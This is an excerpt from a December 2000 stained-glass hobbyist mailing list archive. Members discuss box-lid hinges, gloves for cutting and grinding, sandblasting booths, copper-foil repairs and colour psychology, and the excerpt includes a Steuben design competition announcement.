structural integrity.

Jennifer
Jennifer G. Buckner jbuckner@together.net

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From owner-glass Mon Dec 11 14:54:18 2000
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X-Path: asbuilt.com!pcz
From: "Zicarelli, Philip" <pcz@asbuilt.com>
To: "'glass@bungi.com'" <glass@bungi.com>
Content-Type: text/plain;
Subject: Remove
Date: Mon, 11 Dec 2000 16:25:00 -0600
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Please remove my name from your mailing list. Thanks.


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From owner-glass Mon Dec 11 15:26:08 2000
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X-Path: compuserve.com!Ensembles
From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>
Content-Type: text/plain;
Subject: Steuben Design Competition 2001
Date: Mon, 11 Dec 2000 18:22:08 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

The following press release is provided as a service to IGGA members.

Christie A. Wood
North Wales, PA USA

-------------Forwarded Message-----------------

From:	Glass Art Society, INTERNET:CommCoord@glassart.org
To:	[unknown], INTERNET:members@igga.org
	=

Date:	12/07/2000  3:52 PM

RE:	Steuben Design Competition 2001

 =

FOR IMMEDIATE RELEASE:
December 7, 2000

Contact:  Penny Berk
Executive Director
206-382-1305
pberk@glassart.org



STEUBEN DESIGN COMPETITION
IN CONJUNCTION WITH GLASS ART SOCIETY 2001 CONFERENCE

Steuben is inviting entries for a design competition to be held in =

conjunction with the Glass Art Society Conference, which will be held =

in Corning, New York, June 13 - 17,  2001.

The winner will be invited to supervise the creation of their design, =

working with Steuben's craftspeople, in the company's newly renovated =

hot glass facility.  The session will take place during the =

Conference and the resulting glasswork will be featured in the =

auction at the end of the conference. The proceeds from the sale of =

the piece will be donated to G.A.S.

The competition is open to all G.A.S. members, students, artists and =

designers working in glass.

The theme of the competition is Clear Innovation. Entrants should =

give their creativity free reign to develop ideas suitable for =

Steuben's unique crystal material. Entries must be able to be =

produced completely in clear glass during one glass blowing session =

in the hot glass facility in order to be finished within the limited =

timeframe of the conference.

Proposals should be sent in the form of sketches or technical =

drawings, and slides or photographs of models may also be included. =

Please do not send any actual glass or 3D prototypes.

All entries should be received by Monday April 16th 2001 and will be =

reviewed by the Steuben Design Group. The winner will be notified by =

April 30th.

Entries should be sent to:

Steuben Design Competition
Design Department
Steuben
One Steuben Way
Corning, NY  14831

Further information about Steuben can be found at the company's web =

site:  Steuben.com

Further information about the Glass Art Society can be found at =

www.glassart.org or 206-382-1305=
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From owner-glass Mon Dec 11 17:00:53 2000
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X-Path: home.com!esavad
From: "Mike Savad" <esavad@home.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: RE: box & hinge
Date: Mon, 11 Dec 2000 19:52:49 -0500
Message-ID: <1970Jan1.000.0>
References: <<4.3.2.7.2.20001211171023.00a939e0@pop.together.net>>
Precedence: bulk

are you talking to "me" - mike, or another mike? if so, which box are we
discussing?


---Mike Savad


---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

> -----Original Message-----
> From: Jennifer Buckner [mailto:jbuckner@together.net]
> Sent: Monday, December 11, 2000 5:30 PM
> To: glass@bungi.com
> Subject: box & hinge
>
>
> Mike,
>
> Your newly discovered box hinge mechanism sounds intriguing, but I have a
> few questions if I may?  Was the box back, to which the tube was
> soldered,
> a complex pattern involving a number of solder joints to which the tube
> could be securely attached?  Was the tube 3 to 4 mm shorter than
> the width
> of the box at each end to allow for the bends in the wire as they
> exit the
> tube?  What gauge was the wire that it held its 90o corners as
> well as the
> weight of the box top when opened?  Were the wire ends simply
> butt soldered
> to the box top, or did they have another bend in them to lie flat against
> the top for some length?  Lots of questions, I know, but
> important ones for
> structural integrity.
>
> Jennifer
> Jennifer G. Buckner jbuckner@together.net
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

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From owner-glass Mon Dec 11 18:29:26 2000
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From: "RLean" <rlean@cinci.rr.com>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: More Repairs
Date: Mon, 11 Dec 2000 21:14:21 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0067_01C063B7.54CF2340
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

When repairing glass with copper foil, after you take the broken piece =
of glass out what do you do with the surrounding solder?  I've tried =
scraping it off with an exacto knife, but I get into a real problem when =
I get to a joint between 2 of the surrounding pieces.  I hope this makes =
sense.  Thanks ahead of time,
Robin
>^,,^<   >^,,^<   >^,,^<

------=_NextPart_000_0067_01C063B7.54CF2340
Content-Type: text/html;
	charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3401" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial><STRONG>When repairing glass with copper foil, =
after you=20
take the broken piece of glass out what do you do with the surrounding=20
solder?&nbsp; I've tried scraping it off with an exacto knife, but I get =
into a=20
real problem when I get to a joint between 2 of the surrounding =
pieces.&nbsp; I=20
hope this makes sense.&nbsp; Thanks ahead of time,</STRONG></FONT></DIV>
<DIV><FONT face=3DArial><STRONG>Robin</STRONG></FONT></DIV>
<DIV><STRONG><FONT face=3DArial>&gt;^,,^&lt;&nbsp;&nbsp; =
&gt;^,,^&lt;&nbsp;&nbsp;=20
&gt;^,,^&lt;</FONT></STRONG></DIV></BODY></HTML>

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From owner-glass Mon Dec 11 18:30:19 2000
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X-Path: mail2.nai.net!shad
From: Family Account <shad@mail2.nai.net>
To: "glass@bungi.com" <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii
Subject: Winter hands and gloves
Date: Mon, 11 Dec 2000 21:21:06 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

This talk of hands and gloves makes me wonder...does anyone wear gloves
while cutting and (if you do) grinding?  What kind are they?  Is it easy
to manipulate the glass?  Does it protect your hands from cuts?

I suspect we've talked about this before, but maybe it's time to bring
it up again.

(I could wear gloves at work and protect my hands from paper cuts?)

Dorothy

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From owner-glass Mon Dec 11 19:29:23 2000
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X-Path: yahoo.com!agacic
From: Alex Gacic <agacic@yahoo.com>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Lee 
Date: Mon, 11 Dec 2000 17:38:43 -0800 (PST)
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hello Everyone

I mailed a money order to Lee at the nursing home
address that was given out.

It was returned to me with a note from the
administrator that said Lee left the home on Dec. 1
and that her plea was a case of fraud.

Can someone fill me in?

Alex Gacic
Shalimar, Florida

__________________________________________________
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From owner-glass Mon Dec 11 20:00:34 2000
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X-Path: mail2.nai.net!shad
From: Family Account <shad@mail2.nai.net>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Psychological effects of color 
Date: Mon, 11 Dec 2000 21:51:05 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

So I looked in PubMed (Not as good as Psych Abs, but Pub Med has free
access to all), and found this:
1: Percept Mot Skills 1993 Feb;76(1):235-41
                                                            Related
Articles, Books


                       Effects of three colors in an office interior on
mood and
                       performance.

                       Ainsworth RA, Simpson L, Cassell D

                       Interior Design Department, Bassist College.

                       This study examined the effects of three hues on
subjects' performance
                       and mood while in an office work environment for
1 hour.
                       Pretest/posttest measurements were completed.
Work performance was
                       measured using words typed, typing errors, and a
ratio of errors to
                       words typed. Anxiety, depression, and arousal
were measured by the
                       Eight State Questionnaire of Curran and Cattell.
A total of 45 women,
                       ages 18 to 24 years, were tested individually in
a single office space: 15
                       when the office walls were painted red/warm, 15
when walls were
                       blue-green/cool, and 15 when walls were
white/neutral. Analysis of
                       covariance of posttest measurements with the
pretest as a covariate
                       showed no significant differences among the three
groups on
                       performance or scores on anxiety, depression, and
arousal. If color of
                       the environment has an effect on work performance
or mood, either the
                       effect was too small to be detected with samples
of 15 subjects or longer
                       participation than one hour was required.

                       PMID: 8451130, UI: 93197084

and then this:
1: Percept Mot Skills 1989 Aug;69(1):179-85
                                                            Related
Articles, Books


                       Effect of colour on physical strength and mood in

                       children.

                       Hamid PN, Newport AG

                       Psychology Department, University of Waikato,
Hamilton, New Zealand.

                       The physical strength and mood of creative
production were measured
                       for six preschool children under six coloured
room conditions in an
                       ABACAB design. Physical strength and high
positive mood were
                       demonstrated in a pink-coloured room while the
reverse was found in a
                       blue-coloured room. The results were interpreted
as supporting the
                       differential arousal function of colours.

                       PMID: 2780176, UI: 89385815

We all know that something like dark blue can be used to create an
onimous, brooding mood, or it can be a star-sprinkled night sky...If you
want to create mood with color, I think it's necessary to look at the
design, all the other colors used.  With stained glass, you must also
consider the source, direction and strength of light and realize that
the effect may change as the sun crosses the sky. it's part of what
makes our art an ever changing source of interest and delight.

I have found myself explaining to customers that this panel needs good
sunlight, or that it will look well in subdued lighting.  I've tried to
demonstrate what changes in light will do.

I will also submit that some of the ugliest stained glass I have ever
seen is, in my mind, ugly because of color choices.  So I guess it could
be easiest to create a mood of revulsion by inappropriate color
choices.  And I'm not saying that combining, oh, puce and chartruese,
would always be a mistake, because it still depends on the glass, its
surface, the way it transmits light.

(Hmm, puce and chartruese...they could for all we know, be the new
decorating colors for this spring, and everyone will need their puce and
chartruese stained glass panel....)

Babbling, not caring much about Monday Night Football, needing to wrap
some presents....

Dorothy





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From owner-glass Mon Dec 11 20:32:41 2000
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X-Path: aol.com!Kauriee
From: Kauriee@aol.com
To: glass@bungi.com
Content-Type: multipart/alternative; boundary="part1_ce.dc1ad7e.2766fd55_boundary"
Subject: Re: Winter hands and gloves
Date: Mon, 11 Dec 2000 23:02:29 EST
Message-ID: <1970Jan1.000.0>
Precedence: bulk


--part1_ce.dc1ad7e.2766fd55_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

In a message dated 12/11/2000 9:32:00 PM Eastern Standard Time, 
shad@mail2.nai.net writes:


> This talk of hands and gloves makes me wonder...does anyone wear gloves
> while cutting and (if you do) grinding?  What kind are they?  Is it easy
> to manipulate the glass?  Does it protect your hands from cuts?
> 

I wear rubber gloves that are made by Microflex (1-800- 876-6866)  They come 
in several sizes and types, some even come with a "diamond grip" on the 
fingertips, they have become like a second skin.  I wear them all the time 
when I work.  I have found that I don't get as many cuts, and my fingers 
don't end up looking like raisins when I am grinding.  My hands used to get 
very dry and rough and I would get a lot of little cuts on my thumbs from 
pushing the glass up against the grinder head, now I rarely get any and my 
hands stay nice and soft.  Not to mention keeping most of  the lead off of 
your skin.  The only problem is that you have to buy them by the case.  At 
the time I purchased them (a year or so ago), I got a case for $40.00.  Each 
case consists of 10 boxes of 100 gloves...$4.00 a box!  The also pay for the 
shipping!

Kauriee Wood
The Looking Glass
Dover, Delaware

--part1_ce.dc1ad7e.2766fd55_boundary
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

<HTML><FONT FACE=arial,helvetica><FONT  SIZE=2>In a message dated 12/11/2000 9:32:00 PM Eastern Standard Time, <BR>shad@mail2.nai.net writes:
<BR>
<BR>
<BR><BLOCKQUOTE TYPE=CITE style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">This talk of hands and gloves makes me wonder...does anyone wear gloves
<BR>while cutting and (if you do) grinding? &nbsp;What kind are they? &nbsp;Is it easy
<BR>to manipulate the glass? &nbsp;Does it protect your hands from cuts?
<BR></BLOCKQUOTE>
<BR>
<BR>I wear rubber gloves that are made by Microflex (1-800- 876-6866) &nbsp;They come <BR>in several sizes and types, some even come with a "diamond grip" on the <BR>fingertips, they have become like a second skin. &nbsp;I wear them <U>all the time</U> <BR>when I work. &nbsp;I have found that I don't get as many cuts, and my fingers <BR>don't end up looking like raisins when I am grinding. &nbsp;My hands used to get <BR>very dry and rough and I would get a lot of little cuts on my thumbs from <BR>pushing the glass up against the grinder head, now I rarely get any and my <BR>hands stay nice and soft. &nbsp;Not to mention keeping most of &nbsp;the lead off of <BR>your skin. &nbsp;The only problem is that you have to buy them by the case. &nbsp;At <BR>the time I purchased them (a year or so ago), I got a case for $40.00. &nbsp;Each <BR>case consists of 10 boxes of 100 gloves...$4.00 a box! &nbsp;The also pay for the <BR>shipping!
<BR>
<BR>Kauriee Wood
<BR>The Looking Glass
<BR>Dover, Delaware</FONT></HTML>

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From owner-glass Mon Dec 11 20:38:05 2000
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X-Path: ilnk.com!andor
From: "Linda Jo Letscher" <andor@ilnk.com>
To: "Alex Gacic" <agacic@yahoo.com>,
Subject: Re: Lee 
Date: Mon, 11 Dec 2000 23:11:26 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Alex,
Wow!!  I wonder what is going on.  Glad at least you got your money order
back.  I have been sick and was going to send one, maybe I will wait a bit
until it gets sorted out.
Linda Jo

----- Original Message -----
From: "Alex Gacic" <agacic@yahoo.com>
To: <glass@bungi.com>
Sent: Monday, December 11, 2000 8:38 PM
Subject: Lee


> Hello Everyone
>
> I mailed a money order to Lee at the nursing home
> address that was given out.
>
> It was returned to me with a note from the
> administrator that said Lee left the home on Dec. 1
> and that her plea was a case of fraud.
>
> Can someone fill me in?
>
> Alex Gacic
> Shalimar, Florida
>
> __________________________________________________
> Do You Yahoo!?
> Yahoo! Shopping - Thousands of Stores. Millions of Products.
> http://shopping.yahoo.com/
> ----
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From owner-glass Mon Dec 11 21:15:03 2000
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X-Path: aol.com!CINDEL67
From: CINDEL67@aol.com
To: glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Re: Winter hands and gloves
Date: Mon, 11 Dec 2000 23:49:56 EST
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Dorothy,
    No, I don't wear gloves to cut or to grind or even to solder.  I want to 
be able to feel the glass. Now when I "sort" through glass, I do wear gloves. 
The kind with the rubber grippers on it so that the glass doesn't slide out 
of my hands. And of course when I patina the glass, I wear rubber gloves. I 
just haven't found any that are comfortable to cut in.

Cinda

> This talk of hands and gloves makes me wonder...does anyone wear gloves
>  while cutting and (if you do) grinding?  What kind are they?  Is it easy
>  to manipulate the glass?  Does it protect your hands from cuts?
>  
>  I suspect we've talked about this before, but maybe it's time to bring
>  it up again.
>  
>  (I could wear gloves at work and protect my hands from paper cuts?)
>  
>  Dorothy
----
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From owner-glass Mon Dec 11 22:24:32 2000
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X-Path: fastlane.net!byronw
From: "Byron Wells" <byronw@fastlane.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Blast box
Date: Mon, 11 Dec 2000 20:41:20 -0600
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Hey all..

I'm starting to incorporate more blast etching into my work lately.. I've
been using one of those cheapo benchtop blast boxes till now... Looking for
something bigger such as a Glastar Mini-Passer etc... What kind of box do
yall use? What do you like or dislike about it?
Thanks in advance...

Byron...
Wells Glassworks


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From owner-glass Mon Dec 11 23:02:25 2000
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X-Path: massed.net!wmagdycz
From: "Elaine" <wmagdycz@massed.net>
To: <glass@bungi.com>
Subject: Re: Winter hands and gloves
Date: Tue, 12 Dec 2000 01:55:31 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

I tried wearing gloves when I grind, but they kept getting caught between the
glass and the grinder table - and the gloves fit like a second skin so they aren't
getting caught because they're loose. I do wear them to apply patina, flux, and
when I solder. The Alligator Skin (I think it's called skin) works great to
prevent cuts while grinding, it's easy to apply once you get the hang of it and
don't have to chase the end around your finger, and isn't expensive. My fingers
still get the "splits" from the grinder water though. Elaine

----- Original Message -----
From: <CINDEL67@aol.com>
To: <glass@bungi.com>
Sent: Monday, December 11, 2000 11:49 PM
Subject: Re: Winter hands and gloves


> Dorothy,
>     No, I don't wear gloves to cut or to grind or even to solder.  I want to
> be able to feel the glass. Now when I "sort" through glass, I do wear gloves.
> The kind with the rubber grippers on it so that the glass doesn't slide out
> of my hands. And of course when I patina the glass, I wear rubber gloves. I
> just haven't found any that are comfortable to cut in.
>
> Cinda
>
> > This talk of hands and gloves makes me wonder...does anyone wear gloves
> >  while cutting and (if you do) grinding?  What kind are they?  Is it easy
> >  to manipulate the glass?  Does it protect your hands from cuts?
> >
> >  I suspect we've talked about this before, but maybe it's time to bring
> >  it up again.
> >
> >  (I could wear gloves at work and protect my hands from paper cuts?)
> >
> >  Dorothy
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
>


----
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From owner-glass Tue Dec 12 03:00:33 2000
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X-Path: northlights.co.uk!toby
From: "Toby" <toby@northlights.co.uk>
To: Alex Gacic <agacic@yahoo.com>
Content-Type: text/plain; charset=US-ASCII
Subject: Re: Lee 
Date: Tue, 12 Dec 2000 10:02:47 -0000
Message-ID: <200012121016.eBCAG8l04430@mercury.nildram.co.uk>
Precedence: bulk


Yes sure, Alex,

I can fill you in.
I posted to everyone, that Lee had left the nursing home and was 
back in Sarasota.She was deeply unhappy at the nursing home. 
One of the reasons was that she was given medication that she 
neither wanted, nor needed and to which she was allergic.

When she complained, the individual in question turned nasty. This 
was when Lee insisted on having her own Medical Practioner 
consulted. Having arranged for the transport to him in Sarasota, 
she decided not to return to the nursing home. She did this in 
consultation with her doctor.
We know about, that on one day (I believe it was one day only) 
mail addressed to her was returned to sender by the nursing home.

Without going into greater detail, I hope this fully answers your 
question.

Thank you so much for your thoughts and gesture!

Elisabeth 'n Toby in UK 


Alex wrote:
Hello Everyone

I mailed a money order to Lee at the nursing home
address that was given out.

It was returned to me with a note from the
administrator that said Lee left the home on Dec. 1
and that her plea was a case of fraud.

Can someone fill me in?




----
As my grandmother said "...there is only nobility of mind"
North Lights Stained Glass - homepage
http://www.netlink.co.uk/users/kris/northlights/index.htm 
----
----
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From owner-glass Tue Dec 12 03:29:42 2000
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X-Path: legacyhotels.co.za!skunneke
From: S Kunneke <skunneke@legacyhotels.co.za>
To: "'CINDEL67@aol.com'" <CINDEL67@aol.com>, "'glass@bungi.com'"
Content-Type: text/plain; charset="us-ascii"
Subject: RE: Winter hands and gloves
Date: Tue, 12 Dec 2000 09:56:22 +0200
Message-ID: <1970Jan1.000.0>
Precedence: bulk

I wear gloves 98% of the time when I do ANYTHING related to glass, =
firstly for protection and secondly as I have a 1 yr. old who always =
wakes up just as you start cutting or soldering or fluxing or patinering =
and I need to get anything that could harm him off my hands in seconds.  =
The gloves I use are the cheap surgical gloves, they're almost like a =
second skin and I don't feel bad about ripping them or throwing them =
away after a few mins use. (I also saw this as a tip listed on Mikes =
Website)

-----Original Message-----
From:	CINDEL67@aol.com [SMTP:CINDEL67@aol.com]
Sent:	Tuesday, December 12, 2000 6:50 AM
To:	glass@bungi.com
Subject:	Re: Winter hands and gloves

Dorothy,
    No, I don't wear gloves to cut or to grind or even to solder.  I =
want to=20
be able to feel the glass. Now when I "sort" through glass, I do wear =
gloves.=20
The kind with the rubber grippers on it so that the glass doesn't slide =
out=20
of my hands. And of course when I patina the glass, I wear rubber =
gloves. I=20
just haven't found any that are comfortable to cut in.

Cinda

> This talk of hands and gloves makes me wonder...does anyone wear =
gloves
>  while cutting and (if you do) grinding?  What kind are they?  Is it =
easy
>  to manipulate the glass?  Does it protect your hands from cuts?
> =20
>  I suspect we've talked about this before, but maybe it's time to =
bring
>  it up again.
> =20
>  (I could wear gloves at work and protect my hands from paper cuts?)
> =20
>  Dorothy
----
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----
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From owner-glass Tue Dec 12 04:30:19 2000
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X-Path: arrakis.es!kiram
From: "Kira Mason" <kiram@arrakis.es>
To: "bungi" <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: RV: Winter hands and gloves
Date: Tue, 12 Dec 2000 10:04:09 +0100
Message-ID: <1970Jan1.000.0>
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0041_01C06422.DEEFD860
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Yes, I wear gloves when I work, all the time.  You get used to them.  I =
unfortunately I haven't found the great prices that Kauriee has.  I just =
pick them up in the local grocery store, they come ten to a pack and I =
can usually get by with two or three pairs per project, they wear out, =
ya know, sharp glass, acids, heat and such.

At first I was like "oh, this isn't comfy" but then I got used to them.  =
I think anything that makes me feel a little more comfortable as a =
barrier, especially with the solder, psychologicaly is a plus.

Kira
Madrid
-----Mensaje original-----
De: Kauriee@aol.com <Kauriee@aol.com>
Para: glass@bungi.com <glass@bungi.com>
Fecha: martes 12 de diciembre de 2000 5:30
Asunto: Re: Winter hands and gloves


In a message dated 12/11/2000 9:32:00 PM Eastern Standard Time,=20
shad@mail2.nai.net writes:=20



    This talk of hands and gloves makes me wonder...does anyone wear =
gloves=20
    while cutting and (if you do) grinding?  What kind are they?  Is it =
easy=20
    to manipulate the glass?  Does it protect your hands from cuts?=20
   =20


I wear rubber gloves that are made by Microflex (1-800- 876-6866)  They =
come=20
in several sizes and types, some even come with a "diamond grip" on the=20
fingertips, they have become like a second skin.  I wear them all the =
time=20
when I work.  I have found that I don't get as many cuts, and my fingers =

don't end up looking like raisins when I am grinding.  My hands used to =
get=20
very dry and rough and I would get a lot of little cuts on my thumbs =
from=20
pushing the glass up against the grinder head, now I rarely get any and =
my=20
hands stay nice and soft.  Not to mention keeping most of  the lead off =
of=20
your skin.  The only problem is that you have to buy them by the case.  =
At=20
the time I purchased them (a year or so ago), I got a case for $40.00.  =
Each=20
case consists of 10 boxes of 100 gloves...$4.00 a box!  The also pay for =
the=20
shipping!=20

Kauriee Wood=20
The Looking Glass=20
Dover, Delaware=20

------=_NextPart_000_0041_01C06422.DEEFD860
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.2106.6"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>Yes, I wear gloves when I work, all =
the=20
time.&nbsp; You get used to them.&nbsp; I unfortunately I haven't found =
the=20
great prices that Kauriee has.&nbsp; I just pick them up in the local =
grocery=20
store, they come ten to a pack and I can usually get by with two or =
three pairs=20
per project, they wear out, ya know, sharp glass, acids, heat and=20
such.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>At first I was like &quot;oh, this isn't comfy&quot; =
but then=20
I got used to them.&nbsp; I think anything that makes me feel a little =
more=20
comfortable as a barrier, especially with the solder, psychologicaly is =
a=20
plus.</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Kira</FONT></DIV>
<DIV><FONT size=3D2>Madrid</FONT></DIV>
<DIV><FONT face=3DArial size=3D2><B>-----Mensaje =
original-----</B><BR><B>De: </B><A=20
href=3D"mailto:Kauriee@aol.com">Kauriee@aol.com</A> &lt;<A=20
href=3D"mailto:Kauriee@aol.com">Kauriee@aol.com</A>&gt;<BR><B>Para: =
</B><A=20
href=3D"mailto:glass@bungi.com">glass@bungi.com</A> &lt;<A=20
href=3D"mailto:glass@bungi.com">glass@bungi.com</A>&gt;<BR><B>Fecha: =
</B>martes 12=20
de diciembre de 2000 5:30<BR><B>Asunto: </B>Re: Winter hands and=20
gloves<BR><BR></DIV></FONT><FONT face=3Darial,helvetica><FONT =
size=3D2>In a message=20
dated 12/11/2000 9:32:00 PM Eastern Standard Time, <BR><A=20
href=3D"mailto:shad@mail2.nai.net">shad@mail2.nai.net</A> writes: =
<BR><BR><BR>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #0000ff solid 2px; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px"=20
TYPE =3D CITE>This talk of hands and gloves makes me wonder...does =
anyone wear=20
    gloves <BR>while cutting and (if you do) grinding? &nbsp;What kind =
are they?=20
    &nbsp;Is it easy <BR>to manipulate the glass? &nbsp;Does it protect =
your=20
    hands from cuts? <BR></BLOCKQUOTE><BR><BR>I wear rubber gloves that =
are made by=20
Microflex (1-800- 876-6866) &nbsp;They come <BR>in several sizes and =
types, some=20
even come with a &quot;diamond grip&quot; on the <BR>fingertips, they =
have=20
become like a second skin. &nbsp;I wear them <U>all the time</U> =
<BR>when I=20
work. &nbsp;I have found that I don't get as many cuts, and my fingers =
<BR>don't=20
end up looking like raisins when I am grinding. &nbsp;My hands used to =
get=20
<BR>very dry and rough and I would get a lot of little cuts on my thumbs =
from=20
<BR>pushing the glass up against the grinder head, now I rarely get any =
and my=20
<BR>hands stay nice and soft. &nbsp;Not to mention keeping most of =
&nbsp;the=20
lead off of <BR>your skin. &nbsp;The only problem is that you have to =
buy them=20
by the case. &nbsp;At <BR>the time I purchased them (a year or so ago), =
I got a=20
case for $40.00. &nbsp;Each <BR>case consists of 10 boxes of 100 =
gloves...$4.00=20
a box! &nbsp;The also pay for the <BR>shipping! <BR><BR>Kauriee Wood =
<BR>The=20
Looking Glass <BR>Dover, Delaware</FONT> </FONT></BODY></HTML>

------=_NextPart_000_0041_01C06422.DEEFD860--

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From owner-glass Tue Dec 12 08:53:29 2000
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X-Path: together.net!jbuckner
From: Jennifer Buckner <jbuckner@together.net>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"; format=flowed
Subject: box & hinge
Date: Tue, 12 Dec 2000 08:19:00 -0500
Message-ID: <4.3.2.7.2.20001212080923.00ad31d0@pop.together.net>
Precedence: bulk


Mike Savad asked:

are you talking to "me" - mike, or another mike? if so, which box are we
discussing?

---Mike Savad


Sorry Mike Savad,
There was a post just 2 days or so ago that mentioned a new style of box 
hinge.  I thought it was recent enough that I didn't need re-post the 
original message.  It is now included, in its entirety, below, and the 
questions (to whichever Mike sent it) still stand.
Jennifer

X-Path: iofm.net!art.forall
From: "Art For All" <art.forall@iofm.net>
To: "GLASS Bungi" <glass@bungi.com>
Subject: Server Went Bust
Date: Mon, 11 Dec 2000 18:26:25 -0000
X-Rcpt-To: <jbuckner@together.net>
X-DPOP: DPOP Version 2.8k

This is a multi-part message in MIME format.
------=_NextPart_000_000A_01C0639F.DEBC34C0
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charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hi Folks
I have been away, well away for me, I was in the States, forced into =
Florida by the bad weather. Whilst away my server went bust but has now =
been taken over and is up and running again but my Bungi mail all =
stopped, so could you please reinstate me.
I saw a clever tube and wire box lid hinge on my travels, that I had not =
seen before. The tube part of the hinge was soldered inside the box =
half an inch or more down from the edge at the back. The pivot wires =
were bent almost at 90 degrees, so with the box shut they left the tube, =
heading forwards, almost parallel to the base, then turned vertical up =
to meet the box lid, where they were soldered to it. When the box was =
opened the wires rested on the back of the box and there was no need for =
any restraining chain. A rather neat idea and all the hinge is =
invisible with the box closed.
Regards
Mike

Jennifer G. Buckner jbuckner@together.net

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From owner-glass Tue Dec 12 12:03:59 2000
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X-Path: aol.com!Beveler4
From: Beveler4@aol.com
To: <byronw@fastlane.net>
Content-Type: text/plain; charset=ISO-8859-1
Subject: Re: Blast box
Date: Tue, 12 Dec 2000 14:48:50 EST
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hi Byron,
I've been blasting in a home made box for years and it is still a valuable tool for my small projects.But as you grow so do your needs and wants and now I have a walk in booth that can also be used thru a window for small projects.I learned this from a class that I took in New Mexico and I can now put a full size table top into the booth or a full size door panel,it took a lot of thought when building it but with the right tools and equipment it can be done for much less than a commercial unit.And like I said you can incoporate a small window for the little projects that don't require the whole booth. I keep the compressor in its own little corner far from the booth for two reasons 1.keep it away from the dust2.to cut down on the noise.You also need some vacuums to exhaust the dust for you and these can also be made.
Beveler4(Stan)
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From owner-glass Tue Dec 12 15:02:50 2000
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X-Path: home.com!esavad
From: "Mike Savad" <esavad@home.com>
To: "Jennifer Buckner" <jbuckner@together.net>,
Content-Type: text/plain;
Subject: RE: box & hinge
Date: Tue, 12 Dec 2000 17:34:48 -0500
Message-ID: <1970Jan1.000.0>
References: <<4.3.2.7.2.20001212080923.00ad31d0@pop.together.net>>
Precedence: bulk

i think i know what he is talking about. from what i remember, the lid needs
to extend beyond the back of the box about a 1/2". this becomes the stop.
the rest of it is a tub hinge. i use wires as well, mostly becasue it
doesn't break when i bend them.

the hinge needs to attach to the inside of the lid, so the tube will have to
be around 3/16" shorter on each end, maybe a little more, depending on how
thick the glass you useed, and the type of construction used. and of course
it has to be centered well.

the lid will have to have a design, since the tube attaches to it. and the
tube has to be parralel (i know it's spelled wrong, i just can't spell), to
the back of the box. (i've seen this done with the tube on the outside of
the box, but with the lid in the same position.

the lid over hang needs to be strong, and so does the back of the box. the
lid can't be too heavy, nor the lid over hang too long. the fulcrum point
may break either side.

it's good for small boxes. or a box where you don't want to see the hinge.
but a hinge is fairly small, and really not noticed that much, when done
right....

i used a butterfly's wing as a stop for one project.


---Mike Savad


---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

> -----Original Message-----
> From: Jennifer Buckner [mailto:jbuckner@together.net]
> Sent: Tuesday, December 12, 2000 8:19 AM
> To: glass@bungi.com
> Subject: box & hinge
>
>
>
